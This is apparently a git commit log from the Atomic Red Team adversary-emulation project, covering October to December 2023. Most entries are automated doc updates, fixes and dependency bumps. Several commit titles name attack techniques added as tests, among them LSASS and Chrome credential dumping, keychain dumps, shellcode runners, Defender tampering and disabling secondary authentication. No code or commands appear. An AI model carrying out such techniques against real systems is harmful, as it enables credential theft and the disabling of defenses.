* Update T1129.yaml

Added ExternalPayloads refence. 
Added folder creation in GetPreReqs
Move the reference of the vib to src

* Update T1529.yaml

Added External Payloads folder and added folder creation step to GetPreReqs

* Update T1529.yaml

987c9b4d-a637-42db-b1cb-e9e242c3991b - added external payloads

* Update T1562.010.yaml

Added External Payloads reference and folder creation to GetPreReqs

* Moved the vib to src

* Delete atomics/T1129/bin directory

* Delete atomics/T1082/bin directory

* Delete atomics/T1083/bin directory

* Delete atomics/T1562.010/bin directory

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-12-14 08:27:13 -07:00
Atomic Red Team doc generator 2dcdc27df7 Generated docs from job=generate-docs branch=master [ci skip] 2023-12-14 04:47:22 +00:00
AJ King 8bca554bc8 Update T1555.003.yaml - typo fix (#2637) 2023-12-13 21:46:31 -07:00
咸鱼型233 b37aaabcd5 fixed path error (#2629)
* fixed path error

* add cleanup commands

* updating atomics count in README.md [ci skip]

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: publish bot <opensource@redcanary.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-12-13 15:26:00 -06:00
Atomic Red Team doc generator 810de6cc88 Generated docs from job=generate-docs branch=master [ci skip] 2023-12-13 20:51:58 +00:00
Théo Letailleur fff607c240 [FIX] T1047 - fix tightvnc path (#2636) 2023-12-13 14:50:54 -06:00
Atomic Red Team doc generator d7c45a052d Generated docs from job=generate-docs branch=master [ci skip] 2023-12-07 02:56:57 +00:00
Atomic Red Team GUID generator 8d8fdce249 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-12-07 02:56:42 +00:00
tccontre de8f541aaa T1112 - DarkGate Registry Modification (#2633)
* T1112 - DarkGate Registry Modification

* Update T1112.yaml

* Update T1112.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-12-06 21:56:04 -05:00
Atomic Red Team doc generator 866d5adfa4 Generated docs from job=generate-docs branch=master [ci skip] 2023-12-07 02:50:35 +00:00
Tessa Georgen da79b028aa fix misc formatting errors/extra fields (#2634) 2023-12-06 21:49:46 -05:00
Atomic Red Team doc generator b2bc904f4c Generated docs from job=generate-docs branch=master [ci skip] 2023-12-04 18:56:01 +00:00
Atomic Red Team GUID generator cc6a655d63 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-12-04 18:55:44 +00:00
PhyoPaingHtun ChiLai bb601df2f8 Update T1112.yaml (Scarab Ransomware Defense Evasion Activities & Me… (#2625)
* Update T1112.yaml (Scarab Ransomware Defense Evasion Activities  & Merdoor Backdoor Persistence Activities)

Scarab Ransomware Defense Evasion Activities 
Merdoor Backdoor Persistence Activities

* Update T1112.yaml (Update Merdoor Backdoor article)

* Update T1112.yaml (Update Syntax Error)

* Update T1112.yaml (Update Syntax Error)

* Update T1112.yaml

---------

Co-authored-by: PhyoPaingHtun ChiLai <83696447+PhyoPaing777@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-12-04 12:55:07 -06:00
Atomic Red Team doc generator 6607ee34b6 Generated docs from job=generate-docs branch=master [ci skip] 2023-12-04 18:35:28 +00:00
Atomic Red Team GUID generator 966bf4b50d Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-12-04 18:35:11 +00:00
Leo Verlod b9ff7d2f85 Adding T1555.003 Test - Dump Chrome Login Data with esentutl (#2628)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-12-04 12:34:29 -06:00
Atomic Red Team doc generator e6fb2beca0 Generated docs from job=generate-docs branch=master [ci skip] 2023-12-04 18:31:49 +00:00
Atomic Red Team GUID generator d46b0d874e Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-12-04 18:31:36 +00:00
PhyoPaingHtun ChiLai 0e7356bccb Update T1112.yaml (Update Disable FIDO Authentication) (#2626)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-12-04 12:30:59 -06:00
Atomic Red Team doc generator d8b3cefbdb Generated docs from job=generate-docs branch=master [ci skip] 2023-12-01 21:29:03 +00:00
Atomic Red Team GUID generator 5c63f2082e Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-12-01 21:28:45 +00:00
navsec 6879f4e317 Add tests for various shellcode running techniques using Go (#2627)
* Adding shellcode running techniques using Go

* Removing auto-generated guid before PR

---------

Co-authored-by: navsec <navsec@navsec.net>
2023-12-01 15:27:51 -06:00
Atomic Red Team doc generator 23aa1d2ded Generated docs from job=generate-docs branch=master [ci skip] 2023-11-30 02:06:58 +00:00
Atomic Red Team GUID generator a2e6f91c86 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-11-30 02:06:45 +00:00
Leo Verlod 160674855f Adding T1087.002 Test - Ldapdomaindump on Linux (#2605)
* Update T1087.002.yaml

* Update T1087.002.yaml

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2023-11-29 21:06:11 -05:00
Atomic Red Team doc generator b16ca202be Generated docs from job=generate-docs branch=master [ci skip] 2023-11-28 16:24:17 +00:00
Atomic Red Team GUID generator f132339bf6 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-11-28 16:24:01 +00:00
PhyoPaingHtun ChiLai 8d981c0488 Update T1112.yaml (Activities To Disable Secondary Authentication Detected) (#2619)
* Update T1112.yaml 

Disable Secondary Authentication Detected

* Update T1112.yaml

Added reference link in description

---------

Co-authored-by: PhyoPaingHtun ChiLai <83696447+PhyoPaing777@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-11-28 10:23:25 -06:00
Atomic Red Team doc generator d39bc9e09b Generated docs from job=generate-docs branch=master [ci skip] 2023-11-28 16:18:43 +00:00
Atomic Red Team GUID generator b915978256 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-11-28 16:18:27 +00:00
Matt af453f3fcd Reorganization (#2621)
Reordered so that a standard keychain dump is the first test because it seems to best fit the ATT&CK framework description. Then, separated previous list of certificate commands into 2 tests for clarity and easier use. Removed help command (security -h) and reorganized comments for clarity.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-11-28 10:17:42 -06:00
Atomic Red Team doc generator 25b10a93d3 Generated docs from job=generate-docs branch=master [ci skip] 2023-11-28 16:02:31 +00:00
Hare Sudhan 3bd3ceb8a2 Update attack_api.rb (#2624)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-11-28 10:01:37 -06:00
publish bot 3a9bc49be3 updating atomics count in README.md [ci skip] 2023-11-28 15:58:51 +00:00
Hare Sudhan 201ad3b17f Validator changes (#2622) 2023-11-28 09:58:02 -06:00
Atomic Red Team doc generator 7ae80c53e8 Generated docs from job=generate-docs branch=master [ci skip] 2023-11-27 21:56:43 +00:00
Atomic Red Team GUID generator 3d383ee5f9 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-11-27 21:56:24 +00:00
Matt 352f85ee32 Add test for keychain dump (#2620)
* Add test for keychain dump

* remove empty keys

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-11-27 15:55:44 -06:00
publish bot 9defc5c7ba updating atomics count in README.md [ci skip] 2023-11-23 23:09:41 +00:00
devasmith4 278f7da632 remove duplicate key (#2617) 2023-11-23 17:09:04 -06:00
publish bot 73a8730d95 updating atomics count in README.md [ci skip] 2023-11-23 17:39:59 +00:00
devasmith4 d70cc3fe9f remove duplicate "elevation required" element (#2616) 2023-11-23 11:39:21 -06:00
dependabot[bot] 7a5aedfb09 Bump jsonschema from 4.19.2 to 4.20.0 (#2612)
* Bump jsonschema from 4.19.2 to 4.20.0

Bumps [jsonschema](https://github.com/python-jsonschema/jsonschema) from 4.19.2 to 4.20.0.
- [Release notes](https://github.com/python-jsonschema/jsonschema/releases)
- [Changelog](https://github.com/python-jsonschema/jsonschema/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/python-jsonschema/jsonschema/compare/v4.19.2...v4.20.0)

---
updated-dependencies:
- dependency-name: jsonschema
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* updating atomics count in README.md [ci skip]

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: publish bot <opensource@redcanary.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-11-22 17:48:09 -05:00
Atomic Red Team doc generator 60480bf6df Generated docs from job=generate-docs branch=master [ci skip] 2023-11-22 22:46:18 +00:00
kdebscwx 55b75a5d25 T1069.002 test #6 - fix typo in command (#2613)
* T1069.002 test #6 - fix typo in command

* T1069.002 Test #6 fix typo in command
2023-11-22 17:45:26 -05:00
Atomic Red Team doc generator 88d1fbb51d Generated docs from job=generate-docs branch=master [ci skip] 2023-11-20 03:11:31 +00:00
Atomic Red Team GUID generator 0a6beebd6c Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-11-20 03:11:16 +00:00
Swachchhanda Shrawan Poudel 3ae37eaeb0 Lsass memory dump via SilentProcessExit technique (#2611)
* Lsass memory dump via SilentProcessExit technique

* fix yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-11-19 22:10:35 -05:00
Atomic Red Team doc generator bba1e1bc75 Generated docs from job=generate-docs branch=master [ci skip] 2023-11-20 02:53:29 +00:00
Hare Sudhan 73f61a7600 FreeBSD cleanup (#2604)
* FreeBSD cleanup

* fix T1059.004.yaml

* fix T1070.003.yaml

* cleanup

* Fix T1078.003

* fix t1078.003

* fix t1078.003

* fix t1078.003
2023-11-19 21:52:36 -05:00
Atomic Red Team doc generator ca9a658d79 Generated docs from job=generate-docs branch=master [ci skip] 2023-11-19 19:23:53 +00:00
Atomic Red Team GUID generator 55cbd79603 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-11-19 19:23:38 +00:00
AmyHeat 5641019462 Added test for T1070.006 - Timestomp for date modified using SetFile on MacOS (#2608)
* T1070.006 Timestomp for date modified using SetFile on MacOS

* cleanup

* cleanup

---------

Co-authored-by: amyheat <amyheat@rule10.net>
2023-11-19 14:23:04 -05:00
Atomic Red Team doc generator 30aa7cfb02 Generated docs from job=generate-docs branch=master [ci skip] 2023-11-17 17:49:45 +00:00
Steven Dick 12e54c4d08 Nterl0k T1134.001-3 Nsussudio (#2606)
* Update T1134.001.md

* Update T1134.001.yaml

* Update T1134.001.yaml

* Update T1134.001.md

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-11-17 09:48:52 -08:00
Atomic Red Team doc generator 04a5812d41 Generated docs from job=generate-docs branch=master [ci skip] 2023-11-17 17:46:05 +00:00
Atomic Red Team GUID generator 5a9d3290f2 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-11-17 17:45:50 +00:00
0xv1n 2990b979ba New LocalAdmin Persistence Technique (#2602)
* New LocalAdmin Persistence Technique

* use github permanent link

* remove guid

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-11-17 09:45:16 -08:00
Atomic Red Team doc generator 4ef1397635 Generated docs from job=generate-docs branch=master [ci skip] 2023-11-17 17:35:58 +00:00
Atomic Red Team GUID generator 13252e354f Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-11-17 17:35:43 +00:00
Thomas Meng 14b35456cf Add T1055.015 listPlanting test (#2601)
* Add T1055.015 listPlanting test

* Update T1055.015.yaml

Typo

* Update listPlanting.c

Correct typo

* Update T1055.015.yaml

Delete the auto_generated_guid value

* Update T1055.015.yaml

Remove auto_generate_guid

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-11-17 09:35:08 -08:00
Atomic Red Team doc generator 5aec883ca4 Generated docs from job=generate-docs branch=master [ci skip] 2023-11-17 17:32:58 +00:00
Atomic Red Team GUID generator ead225c103 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-11-17 17:32:43 +00:00
Swachchhanda Shrawan Poudel 2e802c737d Added new test that tampers with windows defender registry (#2599)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-11-17 09:32:08 -08:00
Atomic Red Team doc generator cfb9321b8d Generated docs from job=generate-docs branch=master [ci skip] 2023-11-17 17:29:19 +00:00
Atomic Red Team GUID generator e76abe6a90 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-11-17 17:28:59 +00:00
Hare Sudhan 2f26d9917a Duplicate guid fix (#2609)
* duplicate guid fix

* duplicate guid fix
2023-11-17 09:28:12 -08:00
Atomic Red Team doc generator c3dc8abb84 Generated docs from job=generate-docs branch=master [ci skip] 2023-11-13 21:46:56 +00:00
Hare Sudhan 7dfdc97d79 FreeBSD Cleanup (#2603)
* FreeBSD Cleanup

* cleanup

* fix t1016

* reducing multiline if else to single line

* fix t1037.003

* ignore T1003.007

* fix t1003.007

* more fixes
2023-11-13 16:45:43 -05:00
Atomic Red Team doc generator 8961c1692c Generated docs from job=generate-docs branch=master [ci skip] 2023-11-09 04:06:12 +00:00
Atomic Red Team GUID generator bd938f584f Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-11-09 04:05:54 +00:00
Biological Robot 07225ec592 T1005 Find and dump sqlite databases (Linux) (#2402) 2023-11-08 23:05:07 -05:00
Atomic Red Team doc generator 0287e7561a Generated docs from job=generate-docs branch=master [ci skip] 2023-11-09 04:03:31 +00:00
Carrie Roberts ab79beb982 ignore certificate (#2595) 2023-11-08 23:02:43 -05:00
Atomic Red Team doc generator 2a6bbc2a2b Generated docs from job=generate-docs branch=master [ci skip] 2023-11-09 04:00:38 +00:00
Carrie Roberts 8fa4b4cbeb revert changes kernel info (#2598) 2023-11-08 22:59:50 -05:00
Atomic Red Team doc generator 08a8183910 Generated docs from job=generate-docs branch=master [ci skip] 2023-11-08 15:29:28 +00:00
Panos Moullotos 2b365242a1 Update T1218.yaml (#2597)
Dependency Executor Needs to be explicitly defined
2023-11-08 07:28:25 -08:00
Atomic Red Team doc generator b31fc6e66a Generated docs from job=generate-docs branch=master [ci skip] 2023-11-08 14:20:11 +00:00
Panos Moullotos f9f938d5f8 Update T1218.yaml (#2596)
Added prereqs to T1218#12 so it can be executed remotely with invoke-atomictest
2023-11-08 06:19:21 -08:00
Atomic Red Team doc generator b01f3864d2 Generated docs from job=generate-docs branch=master [ci skip] 2023-11-08 01:59:27 +00:00
Atomic Red Team GUID generator 0a1c27c01b Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-11-08 01:59:13 +00:00
Jose Enrique Hernandez bf2251b4ab Merge pull request #2582 from tsale/master
New Atomic - Excel Application Object for LM
2023-11-07 20:58:38 -05:00
Jose Enrique Hernandez 154f17daff Merge branch 'master' into master 2023-11-07 20:56:50 -05:00
Atomic Red Team doc generator da6a0516db Generated docs from job=generate-docs branch=master [ci skip] 2023-11-08 00:29:16 +00:00
Atomic Red Team GUID generator 717f5941fd Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-11-08 00:28:55 +00:00
Micah Babinski dfb25a02e3 Add Test for Registry-Only "Ghost Tasks" Procedure within T1053.005 (#2588)
* Added ghost task test

* Minor improvements to documentation and test design.

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-11-07 19:28:14 -05:00
Atomic Red Team doc generator 323c12d348 Generated docs from job=generate-docs branch=master [ci skip] 2023-11-07 22:02:39 +00:00
Thomas Meng d133634d49 Process injection RWX injection / Mockingjay local injection (#2587)
* This should be a short message describing what changed.

* The new process injection technique: RWX injection AKA Mockingjay under T1055

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-11-07 14:01:21 -08:00
Atomic Red Team doc generator 11e3355467 Generated docs from job=generate-docs branch=master [ci skip] 2023-11-07 00:34:32 +00:00
art-labs 18955ff270 fix link (#2593) 2023-11-06 19:33:38 -05:00
Atomic Red Team doc generator 157de65031 Generated docs from job=generate-docs branch=master [ci skip] 2023-11-07 00:28:51 +00:00
Atomic Red Team GUID generator d7ba80b533 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-11-07 00:28:24 +00:00
0-etep 02b6a5a050 New Atomic - T1654 Log Enumeration (#2584)
* Create T1654.yml

* Rename T1654.yml to T1654.yaml

* add link to dfir report

* Update T1654.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-11-06 19:27:32 -05:00
Carrie Roberts 1c965f637d latest mitre attack info (#2592)
* updating atomics count in README.md [ci skip]

* updating atomics count in README.md [ci skip]

* latest enterprise attack data

---------

Co-authored-by: publish bot <opensource@redcanary.com>
2023-11-06 19:25:22 -05:00
Hare Sudhan 8baabb4d9b Merge branch 'master' into master 2023-11-06 17:43:37 -05:00
Atomic Red Team doc generator ad2d7c8f13 Generated docs from job=generate-docs branch=master [ci skip] 2023-11-06 22:42:54 +00:00
Hare Sudhan 62a85c12b5 FreeBSD changes (#2585)
* freebsd changes

* renaming freebsd to linux
2023-11-06 17:41:43 -05:00
publish bot 446c2d5d05 updating atomics count in README.md [ci skip] 2023-11-06 21:46:51 +00:00
dependabot[bot] c3108c7b1b Bump jsonschema from 4.19.1 to 4.19.2 (#2589)
Bumps [jsonschema](https://github.com/python-jsonschema/jsonschema) from 4.19.1 to 4.19.2.
- [Release notes](https://github.com/python-jsonschema/jsonschema/releases)
- [Changelog](https://github.com/python-jsonschema/jsonschema/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/python-jsonschema/jsonschema/compare/v4.19.1...v4.19.2)

---
updated-dependencies:
- dependency-name: jsonschema
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-11-06 16:46:08 -05:00
Kostas 60fe9e1b3f Update T1021.003.yaml 2023-11-02 20:22:49 -07:00
Kostas ab386927c8 Update T1021.003.yaml
Changed hostname field name to computer_name
2023-11-02 11:33:59 -07:00
Jose Enrique Hernandez 4e38b6d876 Update T1021.003.yaml 2023-11-02 13:07:02 -04:00
Jose Enrique Hernandez 31e7842166 Update T1021.003.yaml
removing auto-generated UUID
2023-11-02 12:59:54 -04:00
Jose Enrique Hernandez 85eefc4349 Delete atomics/T1021.003/T1021.003.md 2023-11-02 12:57:03 -04:00
Jose Enrique Hernandez 2b5f7b7d0f Merge branch 'master' into master 2023-11-02 11:25:58 -04:00
Kostas f3e33ee0b4 Update T1021.003.yaml
Fixing yaml error
2023-11-02 00:18:17 -07:00
Atomic Red Team doc generator 4d6c4e8e23 Generated docs from job=generate-docs branch=master [ci skip] 2023-11-02 00:56:51 +00:00
Atomic Red Team GUID generator 16b5287208 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-11-02 00:56:30 +00:00
Jose Enrique Hernandez 3ae4cec49f Merge pull request #2450 from alonsobsd/master
Add FreeBSD support
2023-11-01 20:53:32 -04:00
Alonso Cárdenas f355273f8a Update T1059.004.yaml
Add executor
2023-11-01 19:16:09 -05:00
Hare Sudhan 0c13f29a1f fix validate.py 2023-11-01 20:10:27 -04:00
Alonso Cárdenas d8fdd49b90 Update T1059.004.yaml 2023-11-01 19:02:30 -05:00
Jose Enrique Hernandez 2c1db3e4dd Merge branch 'master' into master 2023-11-01 19:10:13 -04:00
Kostas fa4a6ed20b Update T1021.003.md
Removed auto_generated_guid
2023-11-01 15:00:34 -07:00
Kostas c74a2d309e Update T1021.003.yaml
Removed auto_generated_guid
2023-11-01 15:00:14 -07:00
Kostas cf46249bc8 New Atomic - Excel Application Object for LM 2023-11-01 13:40:48 -07:00
Atomic Red Team doc generator 6c026804f3 Generated docs from job=generate-docs branch=master [ci skip] 2023-10-31 02:08:09 +00:00
Carrie Roberts 6776d0f30f fix prereqs (#2580) 2023-10-30 20:06:58 -06:00
Atomic Red Team doc generator 3a1a81309e Generated docs from job=generate-docs branch=master [ci skip] 2023-10-27 16:34:36 +00:00
Bhavin Patel 3070c83cc8 Merge pull request #2578 from five-three/master
Improve the getprereqs command
2023-10-27 09:33:39 -07:00
Bhavin Patel 4e5777c2ba Merge branch 'master' into master 2023-10-27 09:32:04 -07:00
Atomic Red Team doc generator 4fe685f5f3 Generated docs from job=generate-docs branch=master [ci skip] 2023-10-27 16:16:19 +00:00
Atomic Red Team GUID generator af16bbdd70 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-10-27 16:16:00 +00:00
Bhavin Patel 708828586f Merge pull request #2570 from JeffMichelmore/patch-1
Update T1562.001.yaml
2023-10-27 09:15:08 -07:00
five-three c95ca8a5af Improve the getprereqs command 2023-10-27 11:45:01 +08:00
Hare Sudhan e9eb19b4ac Merge branch 'master' into patch-1 2023-10-26 13:29:05 -04:00
Atomic Red Team doc generator 6efc6d9c9d Generated docs from job=generate-docs branch=master [ci skip] 2023-10-26 03:41:25 +00:00
Atomic Red Team GUID generator 29366a39a9 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-10-26 03:41:02 +00:00
traceflow 03b7cd1992 Adding termsrv.dll path modification (#2576)
* adding test for t1505.005, fixing issue with existing test to simulate termsrv.dll patching

* adding test for t1505.005, fixing issue with existing test to simulate termsrv.dll patching

* adding test for t1505.005, fixing issue with existing test to simulate termsrv.dll patching

* adding test for t1505.005, fixing issue with existing test to simulate termsrv.dll patching

* adding test for t1505.005, fixing issue with existing test to simulate termsrv.dll patching

* adding test for t1505.005, fixing issue with existing test to simulate termsrv.dll patching

* adding test for t1505.005, fixing issue with existing test to simulate termsrv.dll patching

* adding test for t1505.005, fixing issue with existing test to simulate termsrv.dll patching

* restore original guid

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-10-25 21:40:13 -06:00
Atomic Red Team doc generator 0efeb2e7ef Generated docs from job=generate-docs branch=master [ci skip] 2023-10-26 03:27:10 +00:00
Atomic Red Team GUID generator 9a2892a452 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-10-26 03:26:43 +00:00
Swachchhanda Shrawan Poudel aa999b9c6c Added new tests that hides files through powershell (#2574)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-10-25 21:25:47 -06:00
publish bot 551948c592 updating atomics count in README.md [ci skip] 2023-10-26 03:06:05 +00:00
dependabot[bot] 0f5932b182 Bump urllib3 from 2.0.6 to 2.0.7 (#2572)
Bumps [urllib3](https://github.com/urllib3/urllib3) from 2.0.6 to 2.0.7.
- [Release notes](https://github.com/urllib3/urllib3/releases)
- [Changelog](https://github.com/urllib3/urllib3/blob/main/CHANGES.rst)
- [Commits](https://github.com/urllib3/urllib3/compare/2.0.6...2.0.7)

---
updated-dependencies:
- dependency-name: urllib3
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-10-25 21:05:20 -06:00
JeffMichelmore 7f6ffdcea2 Update T1562.001.yaml 2023-10-25 10:05:18 -05:00
Bhavin Patel 8796317d3b Merge branch 'master' into patch-1 2023-10-24 16:44:30 -07:00
Atomic Red Team doc generator 842e8f825e Generated docs from job=generate-docs branch=master [ci skip] 2023-10-24 23:44:08 +00:00
Bhavin Patel 733d54c8f8 Merge pull request #2571 from five-three/master
Correct the capitalization in file names and remove blank lines
2023-10-24 16:43:13 -07:00
Bhavin Patel 5d6f9a43bd Merge branch 'master' into master 2023-10-24 16:40:38 -07:00
Atomic Red Team doc generator 987e3ca988 Generated docs from job=generate-docs branch=master [ci skip] 2023-10-18 14:45:47 +00:00
Atomic Red Team GUID generator 7b0740050f Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-10-18 14:45:20 +00:00
pingujwal 03fe454eb3 Added initial test for technique T1553.003 (#2573)
Co-authored-by: unknown <administrator@ADAWS.COM>
2023-10-18 08:44:24 -06:00
JeffMichelmore 1a7b716021 Update T1562.001.yaml - Remove blank auto GUID
Remove blank auto GUID to resolve build error
2023-10-16 08:22:39 -05:00
ywliang c285e61d39 Correct the capitalization in file names and remove blank lines 2023-10-16 14:51:44 +08:00
final five three fantasy 00d1796e5f Merge branch 'redcanaryco:master' into master 2023-10-16 14:37:52 +08:00
JeffMichelmore 8cf4b2c606 Update T1562.001.yaml - Fixed Yaml formatting
Fixed yaml formatting issue
2023-10-14 10:36:43 -05:00
JeffMichelmore a186ec6a19 Update T1562.001.yaml
Adding new test for T1562.001 for disabling real-time protection on Linux and MacOS.
2023-10-13 17:05:10 -05:00
Atomic Red Team doc generator 9b7db448df Generated docs from job=generate-docs branch=master [ci skip] 2023-10-13 15:14:18 +00:00
Atomic Red Team GUID generator 69c4d9dcd4 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-10-13 15:14:00 +00:00
Abhijeet Kumar bb98289c33 Update T1059.004.yaml (#2569)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-10-13 11:13:19 -04:00
Atomic Red Team doc generator c98b35d245 Generated docs from job=generate-docs branch=master [ci skip] 2023-10-12 14:25:00 +00:00
Carrie Roberts e73dea5813 catch error and return exit code (#2566)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-10-12 08:23:41 -06:00
publish bot 50972cc288 updating atomics count in README.md [ci skip] 2023-10-12 14:21:09 +00:00
Carrie Roberts d4dc143fd3 execute vbs with wscript (#2567)
* execute vbs with wscript

* Update T1036.003.yaml

* Update T1036.003.yaml

---------

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-10-12 08:20:11 -06:00
Atomic Red Team doc generator ceea7ce1e0 Generated docs from job=generate-docs branch=master [ci skip] 2023-10-12 03:45:06 +00:00
Carrie Roberts 0f7d8de6a6 exit code 0 on success (#2565)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-10-11 21:44:03 -06:00
Atomic Red Team doc generator 36e59074bb Generated docs from job=generate-docs branch=master [ci skip] 2023-10-12 03:37:29 +00:00
Carrie Roberts cb70464f85 catch execution errors (#2564)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-10-11 21:36:32 -06:00
Atomic Red Team doc generator 8b50a4ffab Generated docs from job=generate-docs branch=master [ci skip] 2023-10-12 03:26:27 +00:00
Carrie Roberts 0f62633232 catch failed download and exit (#2563)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-10-11 21:25:25 -06:00
Atomic Red Team doc generator 36d6815c1f Generated docs from job=generate-docs branch=master [ci skip] 2023-10-12 03:19:03 +00:00
Carrie Roberts 4f48704ef8 xip.io to nip.io (#2562)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-10-11 21:17:55 -06:00
Atomic Red Team doc generator de09327807 Generated docs from job=generate-docs branch=master [ci skip] 2023-10-12 03:15:16 +00:00
Carrie Roberts cfa556fca8 use external payloads directory (#2561)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-10-11 21:14:00 -06:00
Atomic Red Team doc generator 172a0ed2c9 Generated docs from job=generate-docs branch=master [ci skip] 2023-10-11 03:58:15 +00:00
final five three fantasy 1906902973 Fix check dependency command (#2568)
Co-authored-by: ywliang <ywliang@Hillstonenet.com>
2023-10-10 21:57:19 -06:00
ywliang f29a5f8b35 Fix check dependency command 2023-10-11 10:20:15 +08:00
publish bot 34e2fff9ab updating atomics count in README.md [ci skip] 2023-10-10 20:31:23 +00:00
Carrie Roberts 064bd667bc rearrange to have success exit code (#2560)
* rearrange to have success exit code

* default to current user

* Update T1069.002.yaml

---------

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-10-10 14:30:25 -06:00
Atomic Red Team doc generator ddc13a93da Generated docs from job=generate-docs branch=master [ci skip] 2023-10-10 17:04:13 +00:00
Carrie Roberts 4133575f2e use command prompt (#2559)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-10-10 11:03:10 -06:00
Atomic Red Team doc generator 4b58fa4f25 Generated docs from job=generate-docs branch=master [ci skip] 2023-10-10 16:05:30 +00:00
Carrie Roberts e8d26acbc7 use cmd.exe syntax for temp dir (#2558)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-10-10 10:04:16 -06:00
Atomic Red Team doc generator 3625d11dd4 Generated docs from job=generate-docs branch=master [ci skip] 2023-10-10 15:57:18 +00:00
Carrie Roberts 07da073a66 fix command (#2557) 2023-10-10 09:55:20 -06:00
Atomic Red Team doc generator 04e487c182 Generated docs from job=generate-docs branch=master [ci skip] 2023-10-07 19:26:58 +00:00
Carrie Roberts 62f83972c5 use external payloads directory (#2554)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2023-10-07 15:25:51 -04:00
Atomic Red Team doc generator a08834a85c Generated docs from job=generate-docs branch=master [ci skip] 2023-10-07 19:21:34 +00:00
Carrie Roberts 076d228371 quote path (#2555)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2023-10-07 15:20:38 -04:00
Atomic Red Team doc generator c0a77d2d6d Generated docs from job=generate-docs branch=master [ci skip] 2023-10-07 19:10:44 +00:00
Carrie Roberts 8666118b4b no prompt for confirmation (#2553)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2023-10-07 15:09:32 -04:00
Atomic Red Team doc generator 008fc61040 Generated docs from job=generate-docs branch=master [ci skip] 2023-10-07 19:07:22 +00:00
Atomic Red Team GUID generator 9fcde0a924 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-10-07 19:07:01 +00:00
Carrie Roberts 72585c9dd7 fix typo (#2556) 2023-10-07 15:05:53 -04:00
publish bot 6ac219560e updating atomics count in README.md [ci skip] 2023-10-03 21:23:40 +00:00
